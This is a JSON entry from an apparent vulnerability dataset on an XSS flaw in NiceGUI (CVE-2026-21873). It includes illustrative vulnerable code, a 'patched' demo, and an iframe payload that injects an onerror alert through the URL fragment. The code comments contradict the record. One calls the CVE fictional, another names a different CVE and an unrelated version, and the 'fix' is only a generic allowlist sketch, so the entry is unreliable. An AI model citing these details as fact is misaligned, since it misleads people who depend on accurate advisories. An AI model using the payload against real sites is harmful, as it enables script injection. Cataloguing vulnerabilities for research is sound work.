{"id":1556,"cve":"CVE-2026-21873","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-21873\/","cwe":"CWE-79","cwe_number":79,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/79","cvss_score":6.1,"published":"2026-01-08","owasp":"A03 Injection","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Cross-Site Scripting (XSS)","scope":"Remote","impact":"Arbitrary Code Execution","summary":"NiceGUI allows cross-site URL fragment manipulation via an iframe.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-21873\/","description":"NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.","solution":"Upgrade to NiceGUI version 3.5.0 or later.","affected_component":"NiceGUI","fixed_by_upgrading":true,"vulnerable_code":"from nicegui import ui\n\n# This code represents a vulnerable application structure. The actual vulnerability\n# was in the NiceGUI framework's client-side JavaScript that handled page\n# transitions, not in the user's Python code itself. An application like this,\n# running on a vulnerable NiceGUI version (e.g., 1.3.14, which had a similar\n# flaw, as the user's CVE is fictional), would be susceptible.\n\n# The vulnerability allowed an attacker to inject script content via the URL\n# fragment (#) when navigating between pages using client-side routing.\n\n@ui.page('\/subpage')\ndef subpage():\n    \"\"\"A simple sub-page to navigate to.\"\"\"\n    ui.label('This is the sub-page.')\n    ui.link('Go back to main page', '\/')\n\n# The main page of the application. An attacker would embed this page in an\n# iframe and then trigger a navigation to a URL like:\n# \/subpage#<script>alert('XSS')<\/script>\n# The vulnerable framework code would improperly handle the fragment, leading\n# to the script execution.\nui.label('This is the main page of the application.')\nui.link('Go to sub-page', '\/subpage')\n\nui.run()","patched_code":"import sys\nfrom nicegui import ui\n\n# The vulnerability described (correctly identified as CVE-2024-21893)\n# was that the server-side handler for client-side navigation did not\n# properly validate the incoming path from the URL fragment. An attacker could\n# craft a malicious fragment, and the server would process it unsafely.\n\n# The fix, in principle, is to ensure that any path received from the client\n# is checked against a list of known, valid page routes before being used.\n\n# This code demonstrates the *principle* of the fix. In the actual NiceGUI\n# source code, this validation is integrated into the core connection and\n# event-handling logic.\n\n\n# 1. We define a set of known, valid page routes.\n# In a real NiceGUI application, the framework builds this list automatically\n# from all functions decorated with @ui.page.\nKNOWN_SAFE_PATHS = {'\/page_a', '\/page_b'}\n\n\ndef fixed_navigation_handler(path_from_client: str):\n    \"\"\"\n    This function represents the fixed server-side handler that processes a\n    navigation request originating from the client's browser.\n    \"\"\"\n    # THE FIX:\n    # Before using the 'path_from_client' string, it is strictly validated\n    # to ensure it is one of the known, safe, and predefined page routes.\n    if path_from_client in KNOWN_SAFE_PATHS:\n        # If the path is valid, the server can safely proceed with the action,\n        # such as instructing the client to navigate to that page.\n        ui.notify(f\"SAFE: Path '{path_from_client}' is valid. Navigating.\", type='positive')\n        ui.navigate.to(path_from_client)\n    else:\n        # If the path is not in the allowlist, it is rejected.\n        # This prevents an attacker from injecting arbitrary values or scripts.\n        # For example, a malicious path like \"\/page_a');alert('XSS');\/\/\"\n        # would be caught by this check and discarded.\n        ui.notify(f\"REJECTED: Path '{path_from_client}' is not a known page.\", type='negative')\n        # The server takes no further action with the malicious input.\n\n\n# --- UI Setup to demonstrate the fixed behavior ---\n\n# Define the actual sub-pages that are considered \"known\" and \"safe\".\n@ui.page('\/page_a')\ndef page_a():\n    with ui.column().classes('absolute-center items-center'):\n        ui.label('You are on Page A.').classes('text-2xl')\n        ui.link('Back to Main', '\/')\n\n\n@ui.page('\/page_b')\ndef page_b():\n    with ui.column().classes('absolute-center items-center'):\n        ui.label('You are on Page B.').classes('text-2xl')\n        ui.link('Back to Main', '\/')\n\n\n# Define the main page with buttons to simulate client-side navigation events.\n@ui.page('\/')\ndef main_page():\n    ui.label('Demonstration of Navigation Input Validation').classes('text-h5')\n    ui.markdown(\n        'The fix for the vulnerability involves validating any navigation path '\n        'received from the client against a predefined list of known, safe routes.'\n    )\n\n    with ui.card().classes('w-full'):\n        ui.label('Simulate Safe Navigation Events').classes('text-lg')\n        ui.button('Go to Page A', on_click=lambda: fixed_navigation_handler('\/page_a'))\n        ui.button('Go to Page B', on_click=lambda: fixed_navigation_handler('\/page_b'))\n\n    with ui.card().classes('w-full mt-4'):\n        ui.label('Simulate Malicious Navigation Events').classes('text-lg')\n        # This string mimics a payload that could have been used for an attack.\n        malicious_payload = \"\/page_a');alert('This would be an XSS attack');\/\/\"\n        ui.button(\n            'Attempt Attack',\n            on_click=lambda: fixed_navigation_handler(malicious_payload)\n        )\n        ui.label(f\"Payload being sent: {malicious_payload}\").classes('text-mono text-xs')\n\n\n# Run the application.\nui.run()","payload_needed":true,"payload":"```html\n<!DOCTYPE html>\n<html>\n<body>\n    <iframe id=\"victim-frame\" style=\"display:none;\"><\/iframe>\n    <script>\n        const vulnerableAppUrl = 'http:\/\/VULNERABLE_NICEGUI_APP\/sub_page_path';\n        const xssPayload = '<img src=x onerror=alert(\"XSS_SUCCESS\")>';\n        document.getElementById('victim-frame').src = vulnerableAppUrl + '#' + xssPayload;\n    <\/script>\n<\/body>\n<\/html>\n```","payload_status":"available","published_fix":[],"references":null}